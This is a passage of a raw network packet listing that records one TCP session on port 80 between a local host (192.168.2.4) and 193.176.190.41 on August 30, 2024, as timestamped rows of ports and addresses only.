Aug 30, 2024 18:13:04.169859886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169868946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169873953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.169882059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169903040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.169910908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170116901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170136929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170147896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170159101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170161009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170170069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170181036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170181990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170192003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170202017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170202971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170216084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170222044 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170226097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170233965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170238972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.170249939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170269012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.170283079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.204716921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204730988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204741955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204806089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.204830885 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.204914093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204926968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204937935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204948902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204961061 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.204965115 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.204986095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.205008030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206419945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206458092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206468105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206470966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206496954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206509113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206578016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206589937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206600904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206612110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206618071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206640959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206662893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206738949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206779957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206803083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206815958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206825972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206841946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206852913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206876040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.206954956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206965923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206976891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206988096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.206998110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207000017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.207026005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.207040071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.207161903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207173109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207184076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207194090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207206964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.207235098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.207381964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207393885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207405090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207413912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.207433939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.207449913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.248856068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.248903036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.248914957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.248925924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.248951912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.248959064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249006033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249023914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249037027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249047041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249047995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249070883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249109030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249262094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249274969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249284983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249295950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249305964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249315023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249319077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249341011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249353886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.249466896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.249510050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250428915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250473976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250484943 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250487089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250518084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250526905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250607967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250619888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250629902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250642061 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250653982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250684977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250735998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250749111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250786066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.250873089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250885010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.250926018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251024008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251035929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251055002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251065969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251079082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251079082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251091957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251130104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251507044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251519918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251530886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251542091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251554012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251559973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251563072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.251580000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251594067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.251624107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.255491018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255523920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255549908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.255563974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.255585909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255599022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255635023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.255685091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255697012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255707026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255717993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255733967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.255753994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.255830050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255842924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.255881071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256036043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256047964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256057978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256068945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256074905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256086111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256088972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256098032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256108999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256112099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256122112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256133080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256134033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256153107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256182909 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256326914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256381989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256422043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256433010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256443024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256453991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256464005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256464005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256475925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256495953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256495953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256505013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256537914 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256712914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256727934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256738901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256751060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256761074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256762981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256773949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256789923 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256794930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256802082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256830931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.256949902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256967068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.256978035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257003069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257016897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257121086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257133007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257143021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257153988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257164955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257169962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257177114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257189035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257198095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257199049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257227898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257240057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257376909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257388115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257400990 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257410049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.257430077 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.257457972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.291555882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291584969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291595936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291620970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.291632891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.291636944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291678905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.291712999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291749954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.291795015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291807890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291817904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.291831970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.291857004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293260098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293306112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293323040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293334007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293368101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293450117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293462038 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293473005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293483019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293488026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293495893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293502092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293523073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293536901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293716908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293729067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293740034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293751001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293756008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293761969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293770075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293776035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.293786049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293802977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.293819904 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.294007063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294019938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294032097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294042110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294049025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.294058084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294064045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.294071913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294083118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.294099092 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.294110060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.294271946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.294317007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.334763050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.334774971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.334785938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.334930897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.334930897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.334990978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335001945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335025072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335030079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335036993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335052013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335062027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335067034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335073948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335081100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335103989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335118055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335186958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335199118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335207939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335218906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335230112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335230112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335242987 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335263014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.335341930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.335382938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337219000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337263107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337295055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337305069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337332964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337430954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337441921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337451935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337461948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337470055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337486029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337500095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337554932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337595940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337627888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337656975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337667942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337683916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337702036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337810040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337821007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337831974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337842941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.337855101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337867022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.337882996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.338051081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338063002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338073969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338088036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338090897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.338102102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.338124990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.338182926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338195086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338206053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.338213921 CEST	80	49733	193.176.190.41	192.168.2.4
